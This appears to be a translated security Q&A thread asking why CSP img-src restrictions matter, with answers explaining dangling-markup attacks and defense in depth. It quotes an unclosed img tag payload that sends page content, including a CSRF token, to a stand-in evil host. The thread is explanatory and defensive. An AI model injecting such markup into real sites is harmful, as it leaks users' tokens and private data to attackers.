为什么需要 CSP 来防止 img-src 泄漏?

信息安全 Web应用程序 sql注入 html 内容安全策略
2021-08-15 00:46:39

img-srcGitHub在 “GitHub 的后 CSP 之旅”中解释了这个问题

带有未闭合引号的标签将捕获直到下一个匹配引号的所有输出。这可能包括页面上的安全敏感内容,例如:

<img src='https://some-evil-site.com/log_csrf?html= <form action="https://github.com/account/public_keys/19023812091023"> ... <input type="hidden" name="csrf_token" value="some_csrf_token_value"> </form>

生成的图像元素将向 https://some_evilsite.com/log_csrf?html=...some_csrf_token_value ... 发送请求。因此,攻击者可以利用这种悬空标记攻击将 CSRF 令牌泄露到他们的站点选择。

这与在页面上按 page-source 并手动发送内容有何不同?如果仅针对用户可以插入输入的页面,我们是否必须通过向输入添加验证来仅防止输入问题?不阻止所有代码中其他来源的img src?

2个回答

只是为了清楚攻击是如何工作的:

  • 站点允许您输入稍后在某处显示的文本。它没有正确过滤掉 HTML。
  • Mallory 进入<img src='https://some-evil-site.com/log_csrf?html=,并将该页面的链接发送给 Alice。
  • Alice 查看该页面,该页面的其余部分包含 Alice 的秘密内容被发送到some-evil-site.comMallory 控制的那个页面。

它与在页面上按页面源并手动发送内容有何不同。

您在您的计算机上查看使用您的凭据生成的源,因此它不包含任何对您保密的内容。博客文章中讨论的攻击点是从其他人那里“窃取”源代码(通过注入 HTML),以便您可以阅读他们的秘密。

如果仅针对用户可以插入输入的页面,我们是否不必通过向输入添加验证来仅防止输入问题?

是的,即使我们实施了 CSP,我们也需要这样做。但是人类是容易犯错的生物,我们可能会犯错误。因此,拥有一个可以阻止这种攻击的 CSP 可能是一种很好的纵深防御。

不阻止所有代码中其他来源的img src?

如果您不想允许来自任意域的图像,最好将您希望允许来自任意域的图像列入白名单并阻止其他所有内容。同样,您应该有其他类型的保护措施来防止这种情况,但拥有备份永远不会受到伤害。

如果用户按下“查看源代码”并手动发送数据,那是他们的选择,网站所做的任何事情都不会阻止它。然而,CSP 配置通常是纵深防御策略的一部分——即使出现问题,它们也能防止坏事发生。

在这种情况下,他们将尝试消除任何输入验证错误,但很容易出错或错过边缘情况,尤其是在您希望允许用户内容的情况下。如果这样行得通,CSP 规则将永远不会生效。但是,如果他们犯了错误,那么 CSP 限制就会开始适用。

此特定规则旨在防止恶意用户能够在合法用户查看的页面上包含可能泄露数据的内容。换句话说,如果他们可以在其他人查看的页面上放置标签,他们将能够获取用户特定的 CSRF 令牌、会话令牌或个人详细信息。但是,使用 CSP 规则,合法用户的浏览器知道只有指定的域应该用于图像,甚至不会尝试从任何其他域加载它们。

这有点像在你的房子里有一个警报,即使你锁上了门窗。如果锁是完美的,你就永远不需要它,但有时人们会在外出时犯错并忘记锁窗,在这种情况下,警报有助于最大限度地减少损坏。